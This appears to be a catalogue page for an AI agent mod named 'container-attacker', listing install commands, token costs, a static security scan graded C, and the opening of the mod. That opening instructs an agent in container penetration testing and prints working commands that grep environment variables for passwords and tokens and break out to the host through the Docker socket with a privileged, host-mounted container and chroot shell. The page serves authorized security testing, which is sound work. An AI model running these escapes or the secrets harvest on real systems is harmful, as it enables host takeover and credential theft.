Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add agents/mukul975/threatswarm/container-attackergit clone --depth 1 https://github.com/mukul975/ThreatswarmWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/mukul975/threatswarm/container-attacker)<a href="https://agentmods.dev/agents/mukul975/threatswarm/container-attacker"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/container-attacker.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00080 | $0.03144 |
| Opus 5 | $0.00040 | $0.01572 |
| Sonnet 5 | $0.00016 | $0.00629 |
| Haiku 4.5 | $0.00008 | $0.00314 |
Grade C, and why
container-attacker scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
# Dump secrets (base64 encoded values) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -sk http://$NODE_IP:10255/pods | python3 -m json.tool 2>&1 | \ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s --unix-socket /var/run/docker.sock \ How it starts
The opening of the file, as written. The whole thing — 300 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before starting container or Kubernetes testing, invoke these skills via the Skill tool:
cybersecurity-skills:performing-kubernetes-penetration-testingcybersecurity-skills:performing-container-escape-detectioncybersecurity-skills:auditing-kubernetes-cluster-rbaccybersecurity-skills:scanning-docker-images-with-trivycybersecurity-skills:performing-docker-bench-security-assessmentcybersecurity-skills:detecting-container-escape-with-falco-rulescybersecurity-skills:detecting-privilege-escalation-in-kubernetes-podscybersecurity-skills:performing-kubernetes-etcd-security-assessment
Scope Enforcement
Verify container registry, cluster API endpoint, or namespace is in scope.txt. Container escapes affect the HOST — confirm host is also in scope. Document the container ID and base image before any escape attempt.
Docker Enumeration
Container Context Discovery
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null && echo "In Docker container"
cat /proc/self/mountinfo | grep docker
hostname && uname -r
# What capabilities do I have?
cat /proc/self/status | grep Cap
# Decode: capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
capsh --print 2>/dev/null
# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|cgroup"
df -h | grep -v tmpfs
# Check for docker socket
find / -name "docker.sock" 2>/dev/null
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null
# Environment variables (may contain secrets)
env | grep -iE "password|secret|key|token|api|aws|azure|gcp|db" | \
tee /tmp/env_secrets.txt
Docker Socket Escape
# Verify docker socket is accessible
curl -s --unix-socket /var/run/docker.sock \
http://localhost/info | python3 -m json.tool 2>&1
# List images on host
curl -s --unix-socket /var/run/docker.sock \
http://localhost/images/json | python3 -m json.tool 2>&1
# Container breakout via docker socket — mount host FS
docker -H unix:///var/run/docker.sock run \
-v /:/host \
--rm \
-it alpine \
chroot /host /bin/bash
# Alternative: create container with --privileged + host network
docker -H unix:///var/run/docker.sock run \
-d \
--privileged \
--net=host \
--pid=host \
-v /:/host \
alpine \
tail -f /dev/null
# Get shell in that container
CONTAINER_ID=$(docker -H unix:///var/run/docker.sock ps -q | tail -1)
docker -H unix:///var/run/docker.sock exec -it $CONTAINER_ID chroot /host /bin/bash
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 300 lines · 0 tokens per session scan C 43531f5d8c74
container-attacker is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 80 tokens to every session and 3,144 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it C with 3 findings (harvests environment variables, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
token-auditor
Fast meme coin and token security auditor. Checks 8 token-specific bug classes (hidden mint, honeypot, fee manipulation, LP lock bypass, bonding curve exploits, authority retention, fake renounce, sandwich/MEV amplification). Runs tokenscanner.py for automated red flag detection. Covers EVM (Solidity) and Solana…
validator
Finding validator. Runs the 7-Question Gate and 4-gate checklist on a described finding. Kills weak/theoretical findings fast before report writing. Prevents N/A submissions. Use before writing any report — describe the finding and this agent decides PASS, KILL, or DOWNGRADE with explanation.
web3-auditor
Smart contract security auditor. Checks 10 bug classes in order of frequency (accounting desync 28%, access control 19%, incomplete path 17%, off-by-one 22% of Highs, oracle errors, ERC4626 attacks, reentrancy, flash loan oracle manipulation, signature replay, proxy/upgrade issues). Applies pre-dive kill signals…
recon-ranker
Attack surface ranking agent. Takes recon output and hunt memory, produces a prioritized attack plan. Ranks by IDOR likelihood, API surface, tech stack match with past successes, feature age, and nuclei findings. Use after recon to decide what to test first.
osint-collector
Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.
threat-modeler
Delegates to this agent when the user asks about threat modeling, attack surface analysis, STRIDE, DREAD, attack trees, data flow diagrams, trust boundaries, or security architecture review.